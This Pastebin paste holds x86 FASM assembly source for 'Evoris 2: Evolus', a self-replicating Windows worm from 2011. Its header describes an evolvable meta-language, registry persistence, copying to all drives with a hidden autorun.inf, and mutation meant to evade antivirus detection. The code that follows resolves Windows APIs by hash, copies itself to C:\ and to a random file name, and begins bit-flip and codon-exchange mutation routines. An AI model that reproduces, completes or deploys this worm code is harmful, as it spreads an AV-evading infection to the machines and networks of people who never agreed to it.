Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ;;
- ;; Evoris 2: Evolus
- ;; by SPTH
- ;; July 2011
- ;;
- ;;
- ;; This is an advanced version of my Evoris worm from November 2010.
- ;;
- ;; The worm takes use of an evolvable meta-language concept, which has
- ;; been presented in an article "Taking the redpill: Artificial Evolution
- ;; in native x86 systems" (10.2010), and further in "Imitation of Life:
- ;; Advanced system for native Artificial Evolution" (07.2011); and analysed in
- ;; VirusBulletin 03.2011 ("Flibi night"), and VirusBulletin 05.2011 ("Flibi: Evolution").
- ;;
- ;;
- ;;
- ;;
- ;; Metalanguage:
- ;; It has been shown in different approaches of artificial simulations,
- ;; that evolution can be achieved if the artificial chemistry fulfills
- ;; several conditions: A small instruction set, separation of arguments
- ;; and operations, and non-direct addressing.
- ;; In an x86 environment, this can be done by creating a special meta-
- ;; language. The meta-language in this approach is very near connected
- ;; to the natural biosynthese:
- ;;
- ;; Artificial -- Natural
- ;; Bit -- Nucleobase
- ;; Byte -- Codon
- ;; Instruction -- Amino acid
- ;; Function -- Protein
- ;; Translator -- tRNA
- ;;
- ;; To achieve evolution, it is also required that there are enough
- ;; neutral mutations. In an short analyse "Mutational Robustness in x86
- ;; systems", it has been shown that the most robust concept is meta-langauge
- ;; with a redundant alphabet.
- ;;
- ;;
- ;;
- ;;
- ;; Alphabet:
- ;; The alphabet contains the base-commands of the language:
- ;;
- ;; nopREAL
- ;; nopsA, nopsB, nopsD, nopdA, nopdB, nopdD
- ;; save, addsaved
- ;; saveWrtOff, saveJmpOff
- ;; writeByte, writeDWord,
- ;; getDO, getdata, getEIP
- ;; push, pop, pushall, popall
- ;; add0001, sub0001
- ;; shl, shr, xor, and
- ;; mul, div
- ;; JnzUp, JnzDown, call
- ;; CallAPILoadLibrary
- ;;
- ;; These are the 32 commands of the metalanguage. Each command is represented
- ;; by a 8bit value. As there are 256 (2^8) possibilities to write a 8bit
- ;; code there is a big source for redundancy - just as in nature, where 20
- ;; amino acids are coded by 64 (4^3) possibilities to write the nucleobases.
- ;;
- ;; It would be possible to decrease the size of the instruction set further
- ;; (in "Flibi: Evolution" it's shown that a set of 18 instructions is enough
- ;; to perform the same functionality), but this leads to evolutionary negative
- ;; effects.
- ;;
- ;;
- ;;
- ;;
- ;; Start- and Stop-codons:
- ;; In natural biosynthesis, an functional code starts by an initialization
- ;; codon (START), and ends with a termination codon (STOP). Parts between STOP
- ;; and START are called Introns and will be cutted out before translation.
- ;; This process is called Splicing. A similar concept has been created too for
- ;; these artificial organisms - and it can lead to unexpected good results such
- ;; as macro- and behaviour mutation.
- ;;
- ;;
- ;;
- ;;
- ;; Evolvable API calls:
- ;; kernel32.dll and advapi32.dll are loaded thru LoadLibraryA. The export
- ;; table is parsed, and a 12bit hash of the exported API is created. If that
- ;; hash is the same as a hardcoded 12bit hash in the file, the API address is
- ;; saved.
- ;; The idea is: there are ~1000 exported APIs in kernel32.dll, there are
- ;; ~4000 possibilities how to write a 12bit code. That means, by a single
- ;; bit-flip of the API hash, there is a possibility of ~25% that a new
- ;; valid API will be called.
- ;;
- ;;
- ;;
- ;;
- ;; To achieve evolution it is necessary to have replication, mutation
- ;; and selection.
- ;;
- ;;
- ;; Replication:
- ;; It makes a registry-entry to start at every Windows Startup.
- ;; All ~25sec it searchs for all removeable, network, fixed drives and
- ;; copies itself to them. For removable and network drives, it creates a
- ;; hidden autorun.inf:
- ;; - - -
- ;; [Autorun]
- ;; ShellExecute=filename.exe
- ;; UseAutoplay=1
- ;; - - -
- ;;
- ;;
- ;;
- ;;
- ;; Mutation:
- ;; The program can use several types of mutations:
- ;;
- ;; Bitflip (point mutation): it changes a single bit of the code
- ;;
- ;; XCHG (Inversion): it exchanges the position of 8 bytes (8 commands)
- ;; ABCD EFGH -> EFGH ABCD (25.0%)
- ;;
- ;; Insertion/Deletion: it can move some part of the code, and fill the
- ;; rest with NOPs (20%)
- ;;
- ;; Horizontal gene transfer: It is able to copy code from foreign files
- ;; and insert it into its offspring (same idea
- ;; as bacteria use to rapidly distribute functions
- ;; such as antibiotica resistancy.
- ;;
- ;; Polymorphism: Neutral Codon Exchange:
- ;; The worm searchs its alphabet for equal amino acids,
- ;; if it finds some equivalent once, it goes thru its
- ;; codon stream and exchange those equivalences.
- ;;
- ;;
- ;;
- ;;
- ;; Selection:
- ;; The natural selection for malware will come from antivirus scanners.
- ;; As soon as the signature of a certain representation of the worm is
- ;; in the database of AV programs, it can not spread alot anymore. Just those
- ;; mutations can spread, which are so different to the original in the
- ;; database, that it is not recognized anymore. This is a very natural
- ;; selection process.
- ;; There may be other selective advantages such as new functionalities - for
- ;; a more detailed see the article mentioned above.
- ;;
- ;;
- ;;
- ;;
- ;; Including Introns:
- ;; To include introns, a C++ file has been created, as FASM Macro language
- ;; is much too slow for this task.
- ;;
- ;;
- ;;
- ;; Compiler Polymorphism:
- ;; There are two different FASM macro-language polymorphisms with the effect
- ;; that two different Evolus organism look different.
- ;;
- ;; -> The first polymorphism takes use of the redundance of the alphabet.
- ;; Each codon is a macro call, which returns one of the possible pointer
- ;; to the responding amino acid. (Let's say, _save has 3 representations:
- ;; 1,2,3 - then the _save-macro writes randomly one of these into the file)
- ;; The evolutionary advantage is that the codons are equally distibuted,
- ;; and the risk of a mutation is spread over all codons.
- ;;
- ;; -> It is possible, instead of using an optimized alphabet (CreateRandomAlphabet-macro)
- ;; to use a randomly mixed alphabet (CreateBalancedAlphabet). This can be
- ;; selected in the CreateAlphabet-Macro.
- ;;
- ;;
- ;;
- ;;
- ;; Tested at WinXP SP3, but it should also work with WinVista+.
- ;;
- ;;
- ;;
- ;;
- ;; Thanks to: hh86 && qkumba
- ;; Greets goes to herm1t, roy g biv, alcopaul, Mostafa Saleh, all ex-rRlf members &
- ;; & all serious researchers
- ;;
- ;;
- ;;
- ;;
- ;; Evoris comes from a unification of Evolution and Virus, Evolus is the
- ;; evolved Evoris. :)
- ;;
- ;;
- ;;
- ;;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- include 'E:\Programme\FASM\INCLUDE\win32ax.inc'
- RndNum = %t AND 0xFFFF'FFFF
- macro GetNewRandomNumber
- {
- RndNum = ((RndNum*214013+2531011) AND 0xFFFF'FFFF)
- }
- macro CreateNOPString
- {
- GetNewRandomNumber
- if ((RndNum SHR 16) MOD 2)=0
- while ((RndNum SHR 16) MOD 15)<>0
- GetNewRandomNumber
- if ((RndNum SHR 16) MOD 15)=0
- nop
- end if
- if ((RndNum SHR 16) MOD 15)=1
- mov eax, eax
- end if
- if ((RndNum SHR 16) MOD 15)=2
- shr ecx, 0
- end if
- if ((RndNum SHR 16) MOD 15)=3
- shl edi, 0
- end if
- if ((RndNum SHR 16) MOD 15)=4
- add eax, 0
- end if
- if ((RndNum SHR 16) MOD 15)=5
- and eax, -1
- end if
- if ((RndNum SHR 16) MOD 15)=6
- xor eax, 0
- end if
- if ((RndNum SHR 16) MOD 15)=7
- sub ebp, 0
- end if
- if ((RndNum SHR 16) MOD 15)=8
- or esi, 0
- end if
- if ((RndNum SHR 16) MOD 15)=9
- xchg eax, eax
- end if
- if ((RndNum SHR 16) MOD 15)=10
- push ebx
- pop ebx
- end if
- if ((RndNum SHR 16) MOD 15)=11
- pushad
- mov edi, RndNum
- popad
- end if
- if ((RndNum SHR 16) MOD 15)=12
- db 0xEB,0x00 ; jmp next; next:
- end if
- if ((RndNum SHR 16) MOD 15)=13
- and ebx, ebx
- end if
- if ((RndNum SHR 16) MOD 15)=14
- push ebp
- add ebp, RndNum
- pop ebp
- end if
- GetNewRandomNumber
- end while
- end if
- }
- .data
- include 'data_n_equs.inc'
- ; a db "Am I allowed to live?",0x0
- ; b db "In evolution we trust",0x0
- .code
- start:
- ; invoke Sleep, 1000
- CreateNOPString
- CreateNOPString
- CreateNOPString
- CreateNOPString
- CreateNOPString
- CreateNOPString
- CreateNOPString
- CreateNOPString
- ; invoke MessageBox, 0x0, a, b, 0x0
- AlignedSize=0x1'0000
- while ((EndAmino-StAmino)*8)>AlignedSize
- AlignedSize=AlignedSize+0x1'0000
- end while
- CreateNOPString
- invoke VirtualAlloc, \
- 0x0, \
- AlignedSize, \
- 0x1000, \
- PAGE_EXECUTE_READWRITE
- CreateNOPString
- mov [Place4Life], eax
- CreateNOPString
- mov eax, 0x0 ; EAX will work as Splicing seperator
- CreateNOPString
- mov edx, 0x0 ; EDX will be used as the counter of this loop
- CreateNOPString
- WriteMoreToMemory:
- mov ebx, 0x0 ; EBX=0;
- CreateNOPString
- mov bl, byte[edx+StAmino] ; BL=NUMBER OF AMINO ACID
- CreateNOPString
- cmp bl, StartCodon ; If we found a start codon, adjust Splicing seperator
- jne SplicingNoStart
- CreateNOPString
- mov eax, 0x0
- CreateNOPString
- SplicingNoStart:
- cmp bl, StopCodon ; If we found a stop codon, adjust Splicing seperator
- jne SplicingNoStop
- CreateNOPString
- mov eax, 0x91 ; 0x91 = 1001 0001
- CreateNOPString
- SplicingNoStop:
- or bl, al ; SPLICING!
- CreateNOPString
- shl ebx, 3 ; EBX*=8;
- CreateNOPString
- mov esi, StartAlphabeth ; ESI ... Alphabeth offset
- CreateNOPString
- add esi, ebx ; ESI+=EBX; ESI ... offset of the current amino acid
- CreateNOPString
- mov ebx, edx ; EBX ... current number of amino acid
- CreateNOPString
- shl ebx, 3 ; EBX ... lenght of amino acids before this one
- CreateNOPString
- mov edi, [Place4Life] ; EDI ... Memory address
- CreateNOPString
- add edi, ebx ; Offset of current memory for 8 byte code
- CreateNOPString
- mov ecx, 8 ; ECX ... 8
- CreateNOPString
- rep movsb ; Write ECX bytes from ESI to EDI
- CreateNOPString
- ; Write 8 bytes from Alphabeth to Memory
- inc edx ; Increase EDX
- CreateNOPString
- cmp edx, (EndAmino-StAmino)
- jne WriteMoreToMemory
- CreateNOPString
- call [Place4Life] ; Lets start!!!
- ; ##################################################################
- ; Alphabeth
- StartAlphabeth:
- include 'alphabeth.inc'
- CreateAlphabet
- EndAlphabeth:
- ; ##################################################################
- include 'instruction_set_macros.inc'
- ; ##################################################################
- ; Amino Acids
- StAmino:
- ; ############################################################################
- ; ############################################################################
- ; ############################################################################
- ; #####
- ; ##### Here the genom gets the Addresses of the Windows APIs.
- ; ##### It loads via LoadLibrary the kernel32.dll and advapi32.dll,
- ; ##### searchs in the Export Table for the adequade API (creating
- ; ##### an internal 12 bit checksum, and compares it with some hardcoded
- ; ##### 12bit values). This procedere should be evolvable.
- ; #####
- ; ##### Optimum would have been to call the Windows APIs by its
- ; ##### Ordinal Numbers, but they change at every release of Windows.
- ; #####
- ; ##### At Linux, evolvable API calls are already presented, as you
- ; ##### call int 0x80 with a specific number in eax which represents
- ; ##### the API number.
- ; #####
- ; #####
- ;
- ; The Hash-Algo is equivalent to:
- ; ===============================
- ;
- ;;FindAPIGiveMeTheHash:
- ;; In: ebx=pointer to API name
- ;; Out: eax=Hash (in ax)
- ;; changed: eax
- ;; mov ebx, apistr
- ;
- ; push ebx
- ; push ecx
- ; push edx
- ; xor eax, eax
- ; xor ecx, ecx
- ; dec ebx
- ; FindAPIGiveMeTheHashMore:
- ; inc ebx
- ; mov ecx, dword[ebx]
- ; xor eax, ecx
- ; mov edx, ecx ; ecx=nooo - n ... new byte
- ; shr edx, 8 ; edx=000n ... new byte
- ; cmp dl, 0 ; dl=n
- ; jne FindAPIGiveMeTheHashMore
- ;
- ; and eax, 0x0FFF
- ; pop edx
- ; pop ecx
- ; pop ebx
- ;ret
- StAminoAcids1:
- ; repeat 100
- ; _nopREAL
- ; end repeat
- db _START
- db _STOP
- db _START
- GetAddress mCloseHandle
- _saveWrtOff
- _zer0 0
- addnumber 0x0342
- _writeDWord
- GetAddress mCopyFileA
- _saveWrtOff
- _zer0 0
- addnumber 0x0C5C
- _writeDWord
- GetAddress mCreateFileA
- _saveWrtOff
- _zer0 0
- addnumber 0x0615
- _writeDWord
- GetAddress mCreateFileMappingA
- _saveWrtOff
- _zer0 0
- addnumber 0x04E1
- _writeDWord
- GetAddress mCreateProcessA
- _saveWrtOff
- _zer0 0
- addnumber 0x0674
- _writeDWord
- GetAddress mGetDriveTypeA
- _saveWrtOff
- _zer0 0
- addnumber 0x0AFD
- _writeDWord
- GetAddress mGetCommandLineA
- _saveWrtOff
- _zer0 0
- addnumber 0x06A8
- _writeDWord
- GetAddress mGetFileSize
- _saveWrtOff
- _zer0 0
- addnumber 0x083B
- _writeDWord
- GetAddress mWriteFile
- _saveWrtOff
- _zer0 0
- addnumber 0x078B
- _writeDWord
- GetAddress mGetTickCount
- _saveWrtOff
- _zer0 0
- addnumber 0x01B4
- _writeDWord
- GetAddress mMapViewOfFile
- _saveWrtOff
- _zer0 0
- addnumber 0x05EE
- _writeDWord
- GetAddress mSleep
- _saveWrtOff
- _zer0 0
- addnumber 0x07F9
- _writeDWord
- GetAddress mFindFirstFileA
- _saveWrtOff
- _zer0 0
- addnumber 0x094A
- _writeDWord
- GetAddress mFindNextFileA
- _saveWrtOff
- _zer0 0
- addnumber 0x0FE1
- _writeDWord
- GetAddress mUnmapViewOfFile
- _saveWrtOff
- _zer0 0
- addnumber 0x01D1
- _writeDWord
- GetAddress mSetErrorMode
- _saveWrtOff
- _zer0 0
- addnumber 0x0CBB
- _writeDWord
- GetAddress mRegCreateKeyA
- _saveWrtOff
- _zer0 0
- addnumber 0x0EDC
- _writeDWord
- GetAddress mRegSetValueExA
- _saveWrtOff
- _zer0 0
- addnumber 0x0845
- _writeDWord
- GetAddress stDLLkernel32 ; write "kernel32.dll" and "advapi32.dll"
- _saveWrtOff ; to the data-section. This will be used
- _nopdA ; by LoadLibraryA as argument later
- _zer0 0
- addnumber 'kern'
- _writeDWord
- _nopsA
- addnumber 4
- _saveWrtOff
- _nopdA
- _zer0 0
- addnumber 'el32'
- _writeDWord
- _nopsA
- addnumber 4
- _saveWrtOff
- _nopdA
- _zer0 0
- addnumber '.dll'
- _writeDWord
- GetAddress stDLLadvapi32
- _saveWrtOff
- _nopdA
- _zer0 0
- addnumber 'adva'
- _writeDWord
- _nopsA
- addnumber 4
- _saveWrtOff
- _nopdA
- _zer0 0
- addnumber 'pi32'
- _writeDWord
- _nopsA
- addnumber 4
- _saveWrtOff
- _nopdA
- _zer0 0
- addnumber '.dll'
- _writeDWord
- GetAddress stDLLkernel32
- _push
- _CallAPILoadLibrary ; invoke LoadLibrary, "kernel32.dll"
- GetAddress hDLLlibrary32
- _saveWrtOff
- _nopsA
- _writeDWord ; mov dword[hDLLkernel32], eax
- _save ; Save kernel32.dll position
- addnumber 0x3C
- _getdata ; mov RegB, dword[hDLLkernel32+0x3C]
- ; = Pointer to PE Header of kernel32.dll
- _addsaved ; relative -> absolut
- addnumber 0x78
- _getdata ; Export Tables
- _addsaved ; relative -> absolut
- addnumber 0x1C ; Addresse Table
- _nopdA ; temporarily save Offset of Addresse Table in RegA
- GetAddress hAddressTable
- _saveWrtOff ; WriteOffset=hAddressTable
- _nopsA ; restore RegA=Addresse Tables
- _getdata ; Pointer To Addresse Table
- _addsaved ; relative -> absolut
- _writeDWord ; mov dword[hAddressTable], (Pointer to Addresse Table)
- GetAddress hNamePointerTable
- _saveWrtOff ; WriteOffset=hNamePointerTable
- _nopsA ; BC1=Addresse Table
- addnumber 4 ; BC1=Name Pointer Table
- _nopdA
- _getdata ; Pointer To Name Table
- _addsaved ; relative -> absolut
- _writeDWord ; mov dword[hNamePointerTable], (Pointer to Name Pointer Table)
- GetAddress hOrdinalTable
- _saveWrtOff ; WriteOffset=hOrdinalTable
- _nopsA
- addnumber 4 ; BC=Pointer to Ordinal Table
- _getdata ; Ordinal Table
- _addsaved ; relative -> absolut
- _writeDWord ; mov dword[hOrdinalTable], (Pointer to Ordinal Table)
- GetAddress APINumber
- _saveWrtOff
- _zer0 1
- addnumber APINumberKernel
- _writeDWord ; Save number of kernel32.dll APIs
- GetAddress hAddressePointer
- _saveWrtOff
- GetAddress APIAddresses
- _writeDWord ; Saves the AddressePointer
- GetAddress hMagicNumberPointer
- _saveWrtOff
- GetAddress APIMagicNumbersKernel
- _writeDWord ; Saves the MagicNumber Pointer
- _zer0 0
- addnumber 43
- _push
- ; FindAllAPIs
- _getEIP
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _saveJmpOff ; mov BA2, eip - for further API searching in different DLLs
- _pushall
- _zer0 0
- _nopdB ; RegB = Counter for first instance loop = 0
- GetAddress hAddressePointer
- _getdata
- _nopdA ; RegA = Pointer to Buffer for API Addresse
- GetAddress hMagicNumberPointer
- _getdata
- _nopdD ; RegD = Pointer to Magic Numbers for APIs
- ; FindAllAPIsNext
- _getEIP
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _saveJmpOff ; mov BA2, eip
- _pushall
- ; RegA=free | used for pointer within the Name Pointer Table
- ; RegB=free | used as temporary buffer
- ; RegD=MagicNumber for API
- ; Stack: | counter (number of APIs checked in kernel32.dll)
- GetAddress hNamePointerTable
- _getdata
- _nopdA ; Pointer to Name Pointer Table (points to first API)
- _zer0 0
- _sub0001
- _push ; counter
- ; SearchNextAPI:
- _getEIP
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _saveJmpOff ; mov BA2, eip
- _pop
- addnumber 0x1 ; counter++
- _push
- GetAddress hDLLlibrary32
- _getdata
- _save ; kernel32.dll position
- _nopsA ; Pointer to NamePointerTable
- _getdata ; Points to API name
- _addsaved ; relative -> absolut
- _sub0001 ; -- (for algorithm)
- _nopdB ; save Pointer to API name
- _nopsA
- addnumber 4 ; Points to next API name
- _nopdA ; Has just effects in next loop
- _pushall
- _zer0 0
- _nopdA
- _getEIP
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _saveJmpOff ; mov BA2, eip
- _nopsA
- _save ; RegA=MagicNumber
- _nopsB
- addnumber 1
- _nopdB ; BC1=NamePointer++
- _getdata ; BC1=dword[NamePointer+n]
- _addsaved ; BC1=BC1 + BC2 = dword[NamePointer+n] xor MagicNumber
- _nopdA
- _zer0 0
- addnumber 8
- _save
- _nopsB
- _getdata ; BC1=nxxx
- _shr ; BC1=???n
- _push
- _zer0 0
- addnumber 0xFF
- _save ; BC2=0xFF
- _pop ; BC1=???n
- _and ; BC1=000n
- _JnzUp
- GetAddress APITmpBuffer
- _saveWrtOff
- _nopsA
- _writeDWord ; mov dword[APITmpBuffer], RegA
- _popall
- GetAddress APITmpBuffer
- _getdata
- _nopdB ; save MagicNumber of this API
- _zer0 0
- addnumber 0x0FFF
- _save ; save 0x0FFF in BC2
- _nopsB
- _and ; BC1=dword[MagicNumberOfThisAPI] && 0x0FFF
- _nopdB
- _nopsD ; Get Pointer to API MagicWord
- _getdata
- _and ; BC1=dword[MagicNumberSearchAPI] && 0x0FFF
- _save ; save
- _nopsB ; Get MagicNumber of current API again
- _xor ; (dword[MagicNumberSearchAPI] && 0x0FFF) XOR dword[MagicNumberOfThisAPI] && 0x0FFF
- ; If zero, assume that we found API
- _JnzUp
- _zer0 0
- addnumber 1
- _save ; BC2=1
- _pop ; Get Counter from Stack
- _shl ; BC1=counter*2 (because Ordinal Table has just 2byte Entries)
- ; (=no DLLs with more than 65535 functions?!)
- _save
- GetAddress hOrdinalTable
- _getdata
- _addsaved ; Points to ordinal number of the API
- _push
- _zer0 0
- addnumber 0xFFFF
- _save
- _pop ; BC2=0xFFFF
- _getdata ; BC1=Ordinal Number of API
- ; Ordinal Number is a word, so we have to set the high word to zero
- _and ; BC1=dword[Ordinal] && 0xFFFF
- _push
- _zer0 0
- addnumber 2
- _save
- _pop
- _shl ; BC1=Ordinal*4, as Addresse to Function is a dword
- _save
- GetAddress hAddressTable
- _getdata
- _addsaved ; BC1 points to Addresse of API Function
- _getdata ; BC1=Addresse of API Function
- _save
- GetAddress hDLLlibrary32
- _getdata
- _addsaved ; relative -> absolut
- ; BC1 contains the Addresse of the API in (kernel32) memory
- _nopdB ; save the Addresse in RegB
- GetAddress hAddressePointer
- _getdata ; Pointer to the buffer where we save the API addresse
- _saveWrtOff ; We will write to this Addresse
- _nopsB ; restore API Addresse
- _writeDWord ; Save the API Function Addresse in the Function Buffer!!!
- _popall
- GetAddress hAddressePointer
- _saveWrtOff ; The buffer where we save the pointer
- _nopsA
- addnumber 0x4 ; Next Buffer for API Adresse
- _writeDWord ; save pointer
- _nopdA ; save different (prevents a more messy code)
- _nopsD ; Next Magic Number for API
- addnumber 0x4
- _nopdD
- _nopsB
- addnumber 0x1 ; Increase API-Counter
- _nopdB
- _save
- GetAddress APINumber
- _getdata
- _subsaved 0 ; cmp Counter, APINumber
- _JnzUp ; Jnz FindAllAPIsNext
- ; end FindAllAPIsNext
- _popall
- ; FoundAPI
- ; end FindAllAPIs in kernel32.dll
- GetAddress stDLLadvapi32
- _push
- _CallAPILoadLibrary ; invoke LoadLibrary, "kernel32.dll"
- GetAddress hDLLlibrary32
- _saveWrtOff
- _nopsA
- _writeDWord ; mov dword[hDLLkernel32], eax
- _save ; Save kernel32.dll position
- addnumber 0x3C
- _getdata ; mov RegB, dword[hDLLkernel32+0x3C]
- ; = Pointer to PE Header of kernel32.dll
- _addsaved ; relative -> absolut
- addnumber 0x78
- _getdata ; Export Tables
- _addsaved ; relative -> absolut
- addnumber 0x1C ; Addresse Table
- _nopdA ; temporarily save Offset of Addresse Table in RegA
- GetAddress hAddressTable
- _saveWrtOff ; WriteOffset=hAddressTable
- _nopsA ; restore RegA=Addresse Tables
- _getdata ; Pointer To Addresse Table
- _addsaved ; relative -> absolut
- _writeDWord ; mov dword[hAddressTable], (Pointer to Addresse Table)
- GetAddress hNamePointerTable
- _saveWrtOff ; WriteOffset=hNamePointerTable
- _nopsA ; BC1=Addresse Table
- addnumber 4 ; BC1=Name Pointer Table
- _nopdA
- _getdata ; Pointer To Name Table
- _addsaved ; relative -> absolut
- _writeDWord ; mov dword[hNamePointerTable], (Pointer to Name Pointer Table)
- GetAddress hOrdinalTable
- _saveWrtOff ; WriteOffset=hOrdinalTable
- _nopsA
- addnumber 4 ; BC=Pointer to Ordinal Table
- _getdata ; Ordinal Table
- _addsaved ; relative -> absolut
- _writeDWord ; mov dword[hOrdinalTable], (Pointer to Ordinal Table)
- GetAddress APINumber
- _saveWrtOff
- _zer0 0
- addnumber APINumberAdvapi
- _writeDWord ; Save number of kernel32.dll APIs
- GetAddress hAddressePointer
- _saveWrtOff
- GetAddress APIAddressesReg
- _writeDWord ; Saves the AddressePointer
- GetAddress hMagicNumberPointer
- _saveWrtOff
- GetAddress APIMagicNumbersReg
- _writeDWord ; Saves the MagicNumber Pointer
- _zer0 0
- addnumber 42
- _save
- _pop
- _sub0001
- _push
- addnumber 1
- _xor
- _JnzUp
- _pop ; Remove trash from stack
- _zer0 0
- addnumber 0x8007
- _push
- CallAPI hSetErrorMode
- CallAPI hGetTickCount
- ; ############################################################################
- ; ############################################################################
- ; ############################################################################
- ; #####
- ; ##### First child ...
- ; #####
- GetAddress RandomNumber
- _saveWrtOff
- _nopsA
- _writeDWord ; mov dword[RandomNumber], RegA
- _zer0 0
- _nopdB ; mov RegB, 0
- ; RndNameLoop:
- _getEIP
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _saveJmpOff ; mov esi, eip
- GetAddress RandomNumber
- _getdata
- _nopdA ; mov eax, [RandomNumber]
- _zer0 0
- _nopdD ; mov edx, 0
- addnumber 26
- _div ; div ebx
- _nopsD
- addnumber 97
- _nopdD ; add edx, 97
- _nopsB ; ebx=ebp=count
- _save ; ebp=ebx=ecx=count
- GetAddress RandomFileName
- ; ebx=rfn, ebp=ecx=count
- _addsaved ; ebx=rfn+count, ebp=ecx=count
- _saveWrtOff ; edi=rfn+count, ebx=rfn+count, ebp=ecx=count
- _nopsD
- _writeByte ; mov byte[ecx+RandomFileName], dl
- CalcNewRandNumberAndSaveIt
- _nopsB
- addnumber 1
- _nopdB
- _save ; inc counter
- _zer0 1
- addnumber 8
- _subsaved 0 ; cmp counter, 8
- _JnzUp ; jnz esi
- ; loop RndNameLoop
- GetAddress rndext
- _saveWrtOff
- _zer0 0
- addnumber ".exe"
- _writeDWord ; create extention
- CallAPI hGetCommandLineA
- _zer0 0
- addnumber 0xFF
- _save
- _nopsA
- _getdata
- _and
- _nopdB ; RegB=1st byte of filename
- _zer0 0
- addnumber 34 ; "
- _nopdD ; RegD=34
- _nopsB
- _save
- _nopsD
- _subsaved 0
- _JnzDown
- _nopsA
- _add0001
- _nopdA
- _nopREAL
- _nopsA
- _push ; Save RegA at stack
- ; FindEndOfString:
- _getEIP
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _saveJmpOff ; mov esi, eip
- _nopsA
- addnumber 1
- _nopdA
- _zer0 0
- addnumber 0xFF
- _save
- _nopsA
- _getdata
- _and
- _nopdD ; RegD=(dword[Name+count]&& 0xFF)
- _zer0 0
- addnumber 34 ; "
- _save
- _nopsB ; 1st Byte of filename
- _subsaved 1
- _JnzDown
- _nopsD
- _xor
- _JnzUp
- _nopREAL
- ; EndFindEndOfString:
- _nopsA
- _saveWrtOff
- _zer0 1
- addnumber 34 ; "
- _nopsB ; 1st Byte of filename
- _subsaved 0
- _JnzDown
- _save
- _xor
- _writeByte
- _nopREAL
- _pop
- _nopdA
- GetAddress Driveletter3-1
- _saveWrtOff
- _zer0 0
- addnumber 0x5C3A4300 ; 0x0, "C:\"
- _writeDWord
- GetAddress virusname
- _saveWrtOff
- _zer0 0
- addnumber "evol"
- _writeDWord
- GetAddress virusname+4
- _saveWrtOff
- _zer0 0
- addnumber "usss"
- _writeDWord ; Construct virusfilename
- GetAddress virext
- _saveWrtOff
- _zer0 0
- addnumber ".exe"
- _writeDWord ; create extention
- _nopsA
- _push ; Save pointer to filename buffer
- _zer0 0
- _push
- GetAddress Driveletter3
- _push
- _nopsA
- _push
- CallAPI hCopyFileA ; Copy myself to C:\VIRUSNAME!!! (will not be mutated)
- _pop
- _nopdA
- _zer0 0
- _push
- GetAddress RandomFileName
- _push
- _nopsA
- _push
- CallAPI hCopyFileA ; Make a copy of myself with random name
- ; this copy will be mutated and spreaded
- _zer0 0
- _push
- _push
- addnumber 3
- _push
- _zer0 0
- _push
- addnumber 1
- _push
- _sub0001
- addnumber 0xC0000000
- _push
- GetAddress RandomFileName
- _push
- CallAPI hCreateFileA
- GetAddress FileHandle
- _saveWrtOff
- _nopsA
- _writeDWord ; mov dword[FileHandle], RegA
- _save
- GetAddress FileSize
- _push
- _zer0 1
- _addsaved
- _push
- CallAPI hGetFileSize
- GetAddress FileSize
- _saveWrtOff
- _nopsA
- _writeDWord ; mov dword[FileSize], RegA
- _zer0 1
- _push
- _addsaved
- _push
- _zer0 0
- _push
- addnumber 4
- _push
- _zer0 0
- _push
- GetAddress FileHandle
- _getdata
- _push
- CallAPI hCreateFileMappingA
- GetAddress MapHandle
- _saveWrtOff
- _nopsA
- _writeDWord ; mov dword[MapHandle], RegA
- _save
- GetAddress FileSize
- _getdata
- _push ; [FileSize]
- _zer0 1
- _push ; 0
- _push ; 0
- addnumber 2
- _push
- _zer0 1
- _addsaved
- _push ; MapHandle
- CallAPI hMapViewOfFile
- GetAddress MapPointer
- _saveWrtOff
- _nopsA
- _writeDWord ; mov dword[MapPointer], RegA
- _nopsA
- _nopdB ; mov RegB, RegA+AminoStartInMap
- ; ############################################################################
- ; ############################################################################
- ; #####
- ; ##### Here the mutation happens: Bitmutation, exchange of codons, ...
- ; #####
- ;ANextByteInChain:
- _getEIP
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _sub0001
- _saveJmpOff ; mov BA2, eip
- _nopsB
- _push ; push counter
- ; ############################################################################
- ; ##### Start Bit-Flip Mutation (Point-Mutation)
- _zer0 0
- addnumber 12
- _save
- GetAddress RandomNumber
- _getdata
- _shr
- _push
- _zer0 0
- addnumber 7
- _save
- _pop
- _and ; BC1=[RandomNumber shr 12] && 0111b
- _save
- _zer0 1
- addnumber 1
- _shl ; shl BC1, BC2
- _save
- _pop
- _push
- _saveWrtOff ; BA1=[MapPointer]+counter
- _getdata ; mov BC1, dword[BC1]
- _xor ; xor BC1, BC2
- _nopdB ; save changed byte
- _zer0 0
- addnumber 7
- _save
- GetAddress RandomNumber
- _getdata
- _nopdA
- _zer0 1
- _nopdD
- addnumber VarThreshold1
- _div
- _nopsD
- _subsaved 0
- _JnzDown
- _nopsB ; restore
- _writeByte ; save mutation!
- _nopREAL
- _nopREAL
- ; ##### Finished Bit-Flip Mutation (Point-Mutation)
- ; ############################################################################
- CalcNewRandNumberAndSaveIt
- ; ############################################################################
- ; ##### Start codons exchange
- GetAddress xchgBuffer
- _saveWrtOff
- _pop
- _push ; get counter
- _getdata
- _writeDWord ; xchgBuffer=dword[counter]
- _pop
- _push ; get counter
- _saveWrtOff ; save destination for potential writing
- addnumber 4
- _getdata
- _nopdB ; RegB=dword[counter+4]
- _zer0 0
- addnumber 7
- _save
- GetAddress RandomNumber
- _getdata
- _nopdA
- _zer0 1
- _nopdD
- addnumber xchgThreshold1
- _div
- _nopsD
- _subsaved 0
- _JnzDown ; if not zero, dont exchange codons
- _nopsB ; restore
- _writeDWord ; save mutation!
- _nopREAL
- _nopREAL
- GetAddress xchgBuffer
- _getdata
- _nopdB
- _pop
- _push ; get counter
- addnumber 4
- _saveWrtOff
- _zer0 0
- addnumber 7
- _save
- GetAddress RandomNumber
- _getdata
- _nopdA
- _zer0 1
- _nopdD
